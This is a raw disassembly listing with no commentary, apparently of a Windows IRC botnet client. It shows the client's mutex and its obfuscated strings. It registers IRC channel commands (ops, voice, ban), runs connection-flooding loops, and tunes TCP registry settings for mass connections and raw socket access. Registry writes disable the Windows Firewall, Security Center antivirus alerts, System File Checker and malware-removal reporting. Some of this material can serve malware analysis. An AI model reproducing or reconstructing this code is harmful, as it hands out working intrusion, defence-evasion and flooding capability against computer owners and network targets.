lea eax, [ebp+var_138]
push [ebp+var_34]
push [ebp+var_38]
push eax
push edi
lea eax, [ebp+var_B8]
push offset aSSendingSDDC_0 ; "%s -> Sending (%s:%d) (%d) conn(s) for "...
push eax
push [ebp+var_8]
call sub_41CD0E
add esp, 20h
loc_418ABE: ; CODE XREF: sub_418A0D+87j
cmp [ebp+var_4], ebx
jnz loc_418BA4
mov [ebp+var_4], ebx
call esi ; dword_437184
sub eax, [ebp+arg_0]
mov edi, 3E8h
xor edx, edx
mov ecx, edi
div ecx
cmp eax, [ebp+var_30]
ja short loc_418B27
mov ebx, dword_43718C
loc_418AE5: ; CODE XREF: sub_418A0D+116j
push [ebp+var_10]
lea eax, [ebp+var_14]
push eax
call sub_418974
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_418AFB
push edi
jmp short loc_418B13
; ---------------------------------------------------------------------------
loc_418AFB: ; CODE XREF: sub_418A0D+E9j
mov eax, [ebp+var_4]
mov ecx, 1F4h
cdq
idiv ecx
inc [ebp+var_4]
cmp edx, 1F3h
jnz short loc_418B15
push 0Ah
loc_418B13: ; CODE XREF: sub_418A0D+ECj
call ebx ; dword_43718C
loc_418B15: ; CODE XREF: sub_418A0D+102j
call esi ; dword_437184
sub eax, [ebp+arg_0]
xor edx, edx
mov ecx, edi
div ecx
cmp eax, [ebp+var_30]
jbe short loc_418AE5
loc_418B25: ; CODE XREF: sub_418A0D+273j
; sub_418A0D+287j
xor ebx, ebx
loc_418B27: ; CODE XREF: sub_418A0D+D0j
push [ebp+var_2C]
call sub_42355A
cmp [ebp+var_24], ebx
pop ecx
mov edi, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov esi, offset aSSSDSentDConnS ; "%s %s (%s:%d) Sent: (%d) conn(s) for (%"...
jnz short loc_418B6D
cmp [ebp+var_28], ebx
jnz short loc_418B72
push [ebp+var_30]
lea eax, [ebp+var_138]
push [ebp+var_34]
push [ebp+var_38]
push eax
push edi
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
lea eax, [ebp+var_B8]
push esi
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 24h
loc_418B6D: ; CODE XREF: sub_418A0D+130j
cmp [ebp+var_28], ebx
jz short loc_418B9B
loc_418B72: ; CODE XREF: sub_418A0D+135j
push [ebp+var_30]
lea eax, [ebp+var_138]
push [ebp+var_34]
push [ebp+var_38]
push eax
push edi
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
lea eax, [ebp+var_B8]
push esi
push eax
push [ebp+var_8]
call sub_41CD0E
add esp, 24h
loc_418B9B: ; CODE XREF: sub_418A0D+163j
; sub_418A0D+1DCj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_418BA4: ; CODE XREF: sub_418A0D+B4j
push 4
push [ebp+var_4]
call sub_42B2CA
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_18], eax
mov [ebp+var_C], ebx
jnz short loc_418C01
push [ebp+var_2C]
call sub_42355A
cmp [ebp+var_24], ebx
pop ecx
mov esi, offset aSErrorOutOfMem ; "%s Error: Out Of Mem!"
jnz short loc_418BE6
cmp [ebp+var_28], ebx
jnz short loc_418BEB
push edi
lea eax, [ebp+var_B8]
push esi
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 10h
loc_418BE6: ; CODE XREF: sub_418A0D+1BEj
cmp [ebp+var_28], ebx
jz short loc_418B9B
loc_418BEB: ; CODE XREF: sub_418A0D+1C3j
push edi
lea eax, [ebp+var_B8]
push esi
push eax
push [ebp+var_8]
call sub_41CD0E
add esp, 10h
jmp short loc_418B9B
; ---------------------------------------------------------------------------
loc_418C01: ; CODE XREF: sub_418A0D+1ABj
call esi ; dword_437184
mov ebx, dword_43718C
mov edi, 3E8h
jmp short loc_418C6B
; ---------------------------------------------------------------------------
loc_418C10: ; CODE XREF: sub_418A0D+26Aj
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
lea eax, [eax+ecx*4]
mov [ebp+var_1C], eax
mov eax, [eax]
test eax, eax
jz short loc_418C46
push eax
call sub_42F0D0
pop ecx
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C2B: ; CODE XREF: sub_418A0D+247j
push [ebp+var_10]
lea eax, [ebp+var_14]
push eax
call sub_418974
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov ecx, [ebp+var_1C]
mov [ecx], eax
jnz short loc_418C56
push edi
call ebx ; dword_43718C
loc_418C46: ; CODE XREF: sub_418A0D+213j
; sub_418A0D+21Cj
call esi ; dword_437184
sub eax, [ebp+arg_0]
mov ecx, edi
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe short loc_418C2B
loc_418C56: ; CODE XREF: sub_418A0D+234j
inc [ebp+var_C]
mov eax, [ebp+var_C]
cmp eax, [ebp+var_4]
jnz short loc_418C69
and [ebp+var_C], 0
push 1
call ebx ; dword_43718C
loc_418C69: ; CODE XREF: sub_418A0D+252j
call esi ; dword_437184
loc_418C6B: ; CODE XREF: sub_418A0D+201j
sub eax, [ebp+arg_0]
mov ecx, edi
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe short loc_418C10
mov eax, [ebp+var_C]
inc eax
cmp eax, [ebp+var_4]
jnz loc_418B25
loc_418C86: ; CODE XREF: sub_418A0D+291j
call esi ; dword_437184
sub eax, [ebp+arg_0]
mov ecx, edi
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
ja loc_418B25
push 1
call ebx ; dword_43718C
jmp short loc_418C86
sub_418A0D endp
; =============== S U B R O U T I N E =======================================
sub_418CA0 proc near ; DATA XREF: ?9:0043A008o
; FUNCTION CHUNK AT 00418CB4 SIZE 0000000C BYTES
call sub_418CAA
jmp loc_418CB4
sub_418CA0 endp
; =============== S U B R O U T I N E =======================================
sub_418CAA proc near ; CODE XREF: sub_418CA0p
; FUNCTION CHUNK AT 0041C344 SIZE 00000020 BYTES
mov ecx, offset dword_457DFC
jmp loc_41C344
sub_418CAA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_418CA0
loc_418CB4: ; CODE XREF: sub_418CA0+5j
push offset sub_418CC0
call sub_42B799
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_418CA0
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; DATA XREF: sub_418CA0:loc_418CB4o
; FUNCTION CHUNK AT 0041C364 SIZE 0000000E BYTES
mov ecx, offset dword_457DFC
jmp loc_41C364
sub_418CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418CCA proc near ; CODE XREF: sub_40A938+6B4p
; sub_418EDB+24Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
push esi
mov esi, offset dword_4570A0
mov ebx, 0B8h
loc_418CDE: ; CODE XREF: sub_418CCA+32j
cmp byte ptr [esi], 0
jz short loc_418D00
push [ebp+arg_0]
push esi
call dword_437174 ; lstrcmpiA
test eax, eax
jz short loc_418D00
inc [ebp+var_4]
add esi, ebx
cmp esi, offset dword_457C20
jl short loc_418CDE
jmp short loc_418D42
; ---------------------------------------------------------------------------
loc_418D00: ; CODE XREF: sub_418CCA+17j
; sub_418CCA+25j
mov esi, [ebp+var_4]
push edi
imul esi, 0B8h
push ebx
push 0
lea edi, dword_4570A0[esi]
push edi
call sub_429690
push 17h
push [ebp+arg_0]
push edi
call sub_429C40
push 9Fh
lea eax, dword_4570B8[esi]
push [ebp+arg_4]
push eax
call sub_429C40
add esp, 24h
inc dword_445D08
pop edi
loc_418D42: ; CODE XREF: sub_418CCA+34j
mov eax, [ebp+var_4]
pop esi
pop ebx
leave
retn
sub_418CCA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D49 proc near ; CODE XREF: sub_42C4A4+DBp
var_428 = byte ptr -428h
var_324 = byte ptr -324h
var_220 = byte ptr -220h
var_11C = byte ptr -11Ch
var_11B = byte ptr -11Bh
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 428h
push ebx
call sub_41729C
call sub_40A708
test eax, eax
jz short loc_418D71
push 1
call sub_427BB8
pop ecx
push 1
call dword_4370C4 ; ExitProcess
loc_418D71: ; CODE XREF: sub_418D49+16j
xor ebx, ebx
push offset aMessageboxa ; "MessageBoxA"
push offset aUser32_dll ; "user32.dll"
mov [ebp+var_8], 0C8h
mov [ebp+var_7], bl
mov [ebp+var_6], 4
mov [ebp+var_5], bl
mov [ebp+var_4], 60h
call dword_437034 ; LoadLibraryA
push eax
call dword_437030 ; GetProcAddress
lea ecx, [ebp+var_8]
push 5
push ecx
push eax
call sub_42A450
add esp, 0Ch
test eax, eax
jnz short loc_418DB1
loc_418DAF: ; CODE XREF: sub_418D49:loc_418DAFj
jmp short loc_418DAF
; ---------------------------------------------------------------------------
loc_418DB1: ; CODE XREF: sub_418D49+64j
push esi
push edi
push dword_445D00
push dword_445D04
call sub_4164D0
pop ecx
pop ecx
call sub_4155B9
push 2
mov [ebp+var_18], offset dword_4439B0
mov [ebp+var_14], offset sub_42207E
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
call dword_456FE4 ; SetErrorMode
lea eax, [ebp+var_428]
push 104h
push eax
push ebx
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
push 40h
xor eax, eax
pop ecx
lea edi, [ebp+var_11B]
mov [ebp+var_11C], bl
push ebx
rep stosd
push dword_44398C
stosw
stosb
lea eax, [ebp+var_11C]
push eax
push ebx
call dword_437258
mov esi, dword_4370A4
lea eax, [ebp+var_11C]
push eax
push offset dword_457CF8
call esi ; dword_4370A4
lea eax, [ebp+var_11C]
push eax
lea eax, [ebp+var_324]
push eax
call esi ; dword_4370A4
mov esi, offset dword_443990
lea eax, [ebp+var_324]
push esi
push eax
lea eax, [ebp+var_220]
push offset dword_445D48
push eax
call sub_429A33
lea eax, [ebp+var_324]
push esi
push eax
call sub_4277E9
add esp, 18h
test eax, eax
pop edi
pop esi
jz short loc_418EB9
lea eax, [ebp+var_428]
push 1
push eax
push offset byte_444FF3
push offset dword_444EF4
push dword_444EF0
call sub_421340
lea eax, [ebp+var_220]
push eax
call sub_42211B
add esp, 18h
push 1
call dword_4370C4 ; ExitProcess
loc_418EB9: ; CODE XREF: sub_418D49+139j
lea eax, [ebp+var_18]
push eax
call dword_456FFC ; StartServiceCtrlDispatcherA
test eax, eax
jnz short loc_418ED4
lea eax, [ebp+var_220]
push eax
call sub_42211B
pop ecx
loc_418ED4: ; CODE XREF: sub_418D49+17Cj
xor eax, eax
pop ebx
leave
retn 10h
sub_418D49 endp
; =============== S U B R O U T I N E =======================================
sub_418EDB proc near ; DATA XREF: sub_42222E+Co
; sub_422394+15Fo
var_3B0 = byte ptr -3B0h
var_398 = byte ptr -398h
var_380 = byte ptr -380h
var_374 = qword ptr -374h
var_368 = dword ptr -368h
var_364 = byte ptr -364h
var_358 = qword ptr -358h
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_2CC = dword ptr -2CCh
var_2B8 = byte ptr -2B8h
var_1B8 = byte ptr -1B8h
sub esp, 334h
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push offset aGx000032 ; "gx000032"
push ebx
push ebx
call dword_4370D0 ; CreateMutexA
mov dword_457F44, eax
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_418F0D
push ebx
call dword_4370C4 ; ExitProcess
loc_418F0D: ; CODE XREF: sub_418EDB+29j
push offset aNxruj_viib6 ; "nxruJ.vIib6/"
mov edi, offset aSS_1 ; "%s %s"
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push edi
push ebx
call sub_4233DE
xor ebp, ebp
inc ebp
push ebp
push offset byte_444FF3
push offset dword_444EF4
push dword_444EF0
call sub_421277
mov esi, eax
add esp, 20h
cmp esi, ebx
jz short loc_418F97
push 80h
push esi
call dword_437068 ; SetFileAttributesA
mov [esp+35Ch+var_348], ebx
jmp short loc_418F74
; ---------------------------------------------------------------------------
loc_418F57: ; CODE XREF: sub_418EDB+A2j
cmp [esp+35Ch+var_348], 3
jge short loc_418F7F
push esi
call dword_437060 ; DeleteFileA
inc [esp+360h+var_34C]
push 7D0h
call dword_43718C ; Sleep
loc_418F74: ; CODE XREF: sub_418EDB+7Aj
push esi
call sub_4276F7
test eax, eax
pop ecx
jnz short loc_418F57
loc_418F7F: ; CODE XREF: sub_418EDB+81j
push offset byte_444FF3
push offset dword_444EF4
push dword_444EF0
call sub_420EA3
add esp, 0Ch
loc_418F97: ; CODE XREF: sub_418EDB+68j
mov esi, dword_437184
call esi ; dword_437184
push eax
call sub_429ABF
pop ecx
lea eax, [esp+364h+var_348]
push eax
call dword_4370C0 ; QueryPerformanceCounter
lea eax, [esp+368h+var_344]
push eax
call dword_4370BC ; QueryPerformanceFrequency
cmp [esp+36Ch+var_34C], ebx
jl short loc_41900C
jg short loc_418FCA
cmp [esp+36Ch+var_350], ebx
jbe short loc_41900C
loc_418FCA: ; CODE XREF: sub_418EDB+E7j
cmp [esp+36Ch+var_344], ebx
jl short loc_41900C
jg short loc_418FD8
cmp [esp+36Ch+var_348], ebx
jbe short loc_41900C
loc_418FD8: ; CODE XREF: sub_418EDB+F5j
push [esp+36Ch+var_344]
push [esp+370h+var_348]
push [esp+374h+var_34C]
push [esp+378h+var_350]
call sub_42B220
push ecx
push ecx ; double
mov dword ptr [esp+374h+var_358], eax
mov dword ptr [esp+374h+var_358+4], edx
fild [esp+374h+var_358]
fstp [esp+374h+var_374]
call sub_42A636
pop ecx
pop ecx
call sub_42A910
jmp short loc_41900E
; ---------------------------------------------------------------------------
loc_41900C: ; CODE XREF: sub_418EDB+E5j
; sub_418EDB+EDj ...
call esi ; dword_437184
loc_41900E: ; CODE XREF: sub_418EDB+12Fj
mov dword_457E38, eax
lea eax, [esp+36Ch+var_1B8]
push eax
push 202h
call dword_456E58 ; WSAStartup
test eax, eax
jz short loc_419032
push 0FFFFFFFEh
call dword_4370C4 ; ExitProcess
loc_419032: ; CODE XREF: sub_418EDB+14Dj
cmp dword_457014, ebx
jnz short loc_419041
call sub_427AFB
jmp short loc_419052
; ---------------------------------------------------------------------------
loc_419041: ; CODE XREF: sub_418EDB+15Dj
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset dword_6763F8
call sub_429A33
pop ecx
pop ecx
loc_419052: ; CODE XREF: sub_418EDB+164j
push offset aAqejv_njvii_y8 ; "aQeJV.nJvIi.y8Ri./b5L.q."
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push edi
push 5
mov [esp+388h+var_368], ebx
call sub_4233DE
add esp, 10h
mov esi, eax
lea eax, [esp+378h+var_368]
push eax
push ebx
push ebx
push offset sub_41BC58
push ebx
push ebx
call dword_43717C ; CreateThread
imul esi, 2724h
push offset a5gcpxGycn21n1z ; "5GCpx/gYCn21N1Zsj.w3Ty30"
push offset aFfec81uznt81 ; "fFEC81UzNT81"
push edi
push 3
mov dword_46D70C[esi], eax
mov [esp+3A0h+var_2CC], ebp
call sub_4233DE
add esp, 10h
mov esi, eax
lea eax, [esp+390h+var_380]
mov edi, dword_43717C
push eax
lea eax, [esp+394h+var_364]
push ebx
push eax
push offset sub_421F40
push ebx
push ebx
call edi ; dword_43717C
imul esi, 2724h
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset dword_446328
push 4
mov dword_46D70C[esi], eax
call sub_4233DE
add esp, 0Ch
mov esi, eax
lea eax, [esp+3A8h+var_398]
push eax
lea eax, [esp+3ACh+var_2B8]
push ebx
push eax
push offset sub_41EB23
push ebx
push ebx
call edi ; dword_43717C
imul esi, 2724h
mov dword_46D70C[esi], eax
call sub_402BA8
push 0B80h
push ebx
push offset dword_4570A0
call sub_429690
push offset aRPrivmsg1GodDa ; "r PRIVMSG $1 god damnit,hard bitchslaps"...
push offset aSlaps ; "slaps"
call sub_418CCA
push offset aRPrivmsg1Slaps ; "r PRIVMSG $1 slaps for You!!"
push offset aSlap ; "slap"
call sub_418CCA
push offset aRPrivmsg1_ ; "r PRIVMSG $1 :."
push offset off_4462B0
call sub_418CCA
push offset aR1_ ; "r $1 :."
push offset aCtc2 ; "ctc2"
call sub_418CCA
push offset aRModeChanO1 ; "r MODE $chan +o $1"
push offset aOps ; "ops"
call sub_418CCA
push offset aRModeChanV1 ; "r MODE $chan +v $1"
push offset aVoice ; "voice"
call sub_418CCA
push offset aRModeChanH1 ; "r MODE $chan +h $1"
push offset aHalfop ; "halfop"
call sub_418CCA
add esp, 44h
push offset aRModeChanB1 ; "r MODE $chan +b $1"
push offset aBan ; "ban"
call sub_418CCA
push ebp
push offset a5000 ; "5000"
push offset aWaittokillserv ; "WaitToKillServiceT"
mov esi, 80000002h
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control"
push esi
call sub_421340
push 0FFFEh
mov edi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"...
push offset aMaxuserport ; "MaxUserPort"
push edi
push esi
call sub_42131F
push 1Eh
push offset aTcptimedwaitde ; "TcpTimedWaitDelay"
push edi
push esi
call sub_42131F
push ebp
push offset aStricttimewait ; "StrictTimeWaitSeqCheck"
push edi
push esi
call sub_42131F
add esp, 4Ch
push ebp
push offset aTcp1323opts ; "Tcp1323Opts"
push edi
push esi
call sub_42131F
push 3EBC0h
push offset aGlobalmaxtcpwi ; "GlobalMaxTcpWindowSize"
push edi
push esi
call sub_42131F
push 3EBC0h
push offset aTcpwindowsize ; "TcpWindowSize"
push edi
push esi
call sub_42131F
push ebp
push offset aEnablepmtudisc ; "EnablePMTUDiscovery"
push edi
push esi
call sub_42131F
add esp, 40h
push ebx
push offset aEnablepmtubhde ; "EnablePMTUBHDetect"
push edi
push esi
call sub_42131F
push ebp
push offset aSackopts ; "SackOpts"
push edi
push esi
call sub_42131F
push 40h
push offset aDefaultttl ; "DefaultTTL"
push edi
push esi
call sub_42131F
push 2
push offset aTcpmaxdupacks ; "TcpMaxDupAcks"
push edi
push esi
call sub_42131F
add esp, 40h
push 0C8000h
push offset aLargebuffersiz ; "LargeBufferSize"
push edi
push esi
call sub_42131F
push ebp
push offset aAllowuserrawac ; "AllowUserRawAccess"
push edi
push esi
call sub_42131F
push 0FFFFFEh
push offset aTcpnumconnecti ; "TcpNumConnections"
push edi
push esi
call sub_42131F
push ebp
push offset aDisablerawsecu ; "DisableRawSecurity"
push offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\Afd\\P"...
push esi
call sub_42131F
add esp, 40h
push 0FFFEh
push offset aMaxconnections ; "MaxConnectionsPer1_0Server"
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call sub_42131F
push 0FFFEh
push offset aMaxconnectio_0 ; "MaxConnectionsPerServer"
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call sub_42131F
push 4000h
push offset aSizreqbuf ; "SizReqBuf"
push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
push esi
call sub_42131F
push 0FFFFFF9Dh
push offset aSfcdisable ; "SFCDisable"
push offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"...
push esi
call sub_42131F
add esp, 40h
push ebx
push offset aSfcscan ; "SFCScan"
push offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"...
push esi
call sub_42131F
push ebp
push offset aAutoshareserve ; "AutoShareServer"
push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
push esi
call sub_42131F
push ebp
push offset aAutosharewks ; "AutoShareWks"
push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"...
push esi
call sub_42131F
push ebp
push offset aDevice ; "\\Device\\"
push offset aTransportbindn ; "TransportBindName"
push offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\NetBT"...
push esi
call sub_421340
add esp, 44h
push ebx
push offset aEnablefirewall ; "EnableFirewall"
push offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
push esi
call sub_42131F
push ebx
push offset aDonotallowexce ; "DoNotAllowExceptions"
push offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
push esi
call sub_42131F
push ebp
push offset aDisablenotific ; "DisableNotifications"
push offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
push esi
call sub_42131F
push ebx
push offset aEnablefirewall ; "EnableFirewall"
push offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
push esi
call sub_42131F
add esp, 40h
push ebx
push offset aDonotallowexce ; "DoNotAllowExceptions"
push offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
push esi
call sub_42131F
push ebp
push offset aDisablenotific ; "DisableNotifications"
push offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"...
push esi
call sub_42131F
push ebp
push offset aAntivirusdisab ; "AntiVirusDisableNotify"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center"
push esi
call sub_42131F
push ebp
push offset aAntivirusoverr ; "AntiVirusOverride"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center"
push esi
call sub_42131F
add esp, 40h
push ebp
push offset aFirewalldisabl ; "FirewallDisableNotify"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center"
push esi
call sub_42131F
push ebp
push offset aFirewalloverri ; "FirewallOverride"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center"
push esi
call sub_42131F
push ebp
push offset aDontreportinfe ; "DontReportInfectionInformation"
push offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\MRT"
push esi
call sub_42131F
add esp, 30h
call sub_41E8A9
lea eax, [esp+3C0h+var_3B0]
push eax
push ebx
push ebx
push offset sub_41E96A
push ebx
push ebx
call dword_43717C ; CreateThread
push 0FFFFFEh
push offset aTcpnumconnecti ; "TcpNumConnections"
push edi
push esi
call sub_42131F
add esp, 10h
mov esi, offset dword_457E40
push 100h
push esi
call dword_456F2C ; gethostname
push esi
call dword_456FB4 ; gethostbyname
mov dword_457C30, eax
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_456FBC ; inet_ntoa
push 10h
push eax
push offset dword_457CD8
mov dword_457CF0, eax
call sub_429C40
push offset dword_457DFC
mov dword_457CEC, ebx
call sub_420CC8
add esp, 10h
mov esi, offset dword_457DFC
jmp loc_419524
; ---------------------------------------------------------------------------
loc_419496: ; CODE XREF: sub_418EDB+652j
mov ecx, esi
call sub_41DA9A
test al, al
jnz short loc_4194F6
call sub_427E04
mov eax, dword_457CEC
mov ecx, esi
mov edi, eax
imul eax, 0B8h
add eax, offset byte_443FBF
imul edi, 0B8h
push eax
push 0Ch
push ebp
call sub_41D0BB
push eax
push 4
push 8
mov ecx, esi
call sub_41D0BB
push eax
push 5
push 7
mov ecx, esi
call sub_41D0BB
push eax
lea eax, dword_443F20[edi]
push dword_443FD0[edi]
mov ecx, esi
push eax
call sub_41C7EB
loc_4194F6: ; CODE XREF: sub_418EDB+5C4j
mov ecx, esi
call sub_41CA64
push 3E8h
call dword_43718C ; Sleep
mov eax, dword_445D00
dec eax
cmp dword_457CEC, eax
jnz short loc_41951E
mov dword_457CEC, ebx
jmp short loc_419524
; ---------------------------------------------------------------------------
loc_41951E: ; CODE XREF: sub_418EDB+639j
inc dword_457CEC
loc_419524: ; CODE XREF: sub_418EDB+5B6j
; sub_418EDB+641j
mov ecx, esi
call sub_41DA9E
test al, al
jnz loc_419496
call sub_4234DB
call dword_456E38 ; WSACleanup
push dword_457F44
call dword_4370CC ; ReleaseMutex
push ebx
call dword_437170 ; ExitThread
sub_418EDB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419551 proc near ; CODE XREF: sub_419797+31p
; sub_419B88+21p ...
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_437334
mov [eax+4], ecx
mov [eax+0Ch], ecx
mov [eax+8], ecx
retn
sub_419551 endp
; =============== S U B R O U T I N E =======================================
sub_419565 proc near ; DATA XREF: ?9:off_437334o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4195C9
test [esp+4+arg_0], 1
jz short loc_41957B
push esi
call sub_429006
pop ecx
loc_41957B: ; CODE XREF: sub_419565+Dj
mov eax, esi
pop esi
retn 4
sub_419565 endp
; =============== S U B R O U T I N E =======================================
sub_419581 proc near ; CODE XREF: sub_419797+25p
; sub_41984D+30p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
and dword ptr [esi+4], 0
and dword ptr [esi+0Ch], 0
mov dword ptr [esi], offset off_437334
call sub_4195FC
and dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_419581 endp
; =============== S U B R O U T I N E =======================================
sub_4195A5 proc near ; CODE XREF: sub_419797+72p
; sub_419A4B+11Ep ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
and dword ptr [esi+4], 0
and dword ptr [esi+0Ch], 0
mov dword ptr [esi], offset off_437334
call sub_419649
and dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_4195A5 endp
; =============== S U B R O U T I N E =======================================
sub_4195C9 proc near ; CODE XREF: sub_419565+3p
; sub_419797+7Ap ...
push esi
mov esi, ecx
mov eax, [esi+4]
mov dword ptr [esi], offset off_437334
test eax, eax
jz short loc_4195E0
push eax
call sub_429822
pop ecx
loc_4195E0: ; CODE XREF: sub_4195C9+Ej
mov eax, [esi+8]
and dword ptr [esi+4], 0
test eax, eax
jz short loc_4195F2
push eax
call sub_429822
pop ecx
loc_4195F2: ; CODE XREF: sub_4195C9+20j
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn
sub_4195C9 endp
; =============== S U B R O U T I N E =======================================
sub_4195FC proc near ; CODE XREF: sub_419581+15p
; sub_419649+Fp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_41960D
push eax
call sub_429822
pop ecx
loc_41960D: ; CODE XREF: sub_4195FC+8j
push [esp+4+arg_0]
call sub_4292D0
mov [esi+0Ch], eax
add eax, 2
push eax
call sub_4296E8
mov ecx, [esi+0Ch]
mov [esi+4], eax
inc ecx
inc ecx
push ecx
push 0
push eax
call sub_429690
push dword ptr [esi+0Ch]
push [esp+1Ch+arg_0]
push dword ptr [esi+4]
call sub_429C40
add esp, 20h
pop esi
retn 4
sub_4195FC endp
; =============== S U B R O U T I N E =======================================
sub_419649 proc near ; CODE XREF: sub_4195A5+15p
; sub_4199B7j ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_4199C6
push eax
mov ecx, esi
call sub_4195FC
pop esi
retn 4
sub_419649 endp
; =============== S U B R O U T I N E =======================================
sub_419661 proc near ; CODE XREF: sub_4196AA+Fp
; sub_419A4B+A9p ...
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_4292D0
add [esi+0Ch], eax
mov eax, [esi+0Ch]
inc eax
push eax
call sub_4296E8
pop ecx
mov edi, eax
pop ecx
push dword ptr [esi+4]
push edi
call dword_4370A4 ; lstrcpyA
push [esp+8+arg_0]
push edi
call dword_437090 ; lstrcatA
mov eax, [esi+4]
test eax, eax
jz short loc_4196A2
push eax
call sub_429822
pop ecx
loc_4196A2: ; CODE XREF: sub_419661+38j
mov [esi+4], edi
pop edi
pop esi
retn 4
sub_419661 endp
; =============== S U B R O U T I N E =======================================
sub_4196AA proc near ; CODE XREF: sub_419B88+414p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_4199C6
push eax
mov ecx, esi
call sub_419661
pop esi
retn 4
sub_4196AA endp
; =============== S U B R O U T I N E =======================================
sub_4196C2 proc near ; CODE XREF: sub_419B88+69p
; sub_419B88+79p ...
arg_0 = dword ptr 4
push [esp+arg_0]
push dword ptr [ecx+4]
call dword_437174 ; lstrcmpiA
retn 4
sub_4196C2 endp
; =============== S U B R O U T I N E =======================================
sub_4196D2 proc near ; CODE XREF: ?9:0041A232p ?9:0041A3E0p ...
arg_0 = dword ptr 4
push [esp+arg_0]
push dword ptr [ecx+4]
call sub_42A7F0
pop ecx
pop ecx
retn 4
sub_4196D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196E3 proc near ; CODE XREF: ?9:0041A116p ?9:0041A135p ...
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_429A90
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_2000]
push [ebp+arg_4]
push 2000h
push eax
call sub_42B7DA
mov ecx, [ebp+arg_0]
add esp, 10h
lea eax, [ebp+var_2000]
push eax
call sub_4195FC
leave
retn
sub_4196E3 endp
; =============== S U B R O U T I N E =======================================
sub_41971C proc near ; CODE XREF: sub_419B88+A2p
; ?9:0041A1ACp ...
arg_0 = dword ptr 4
push 0
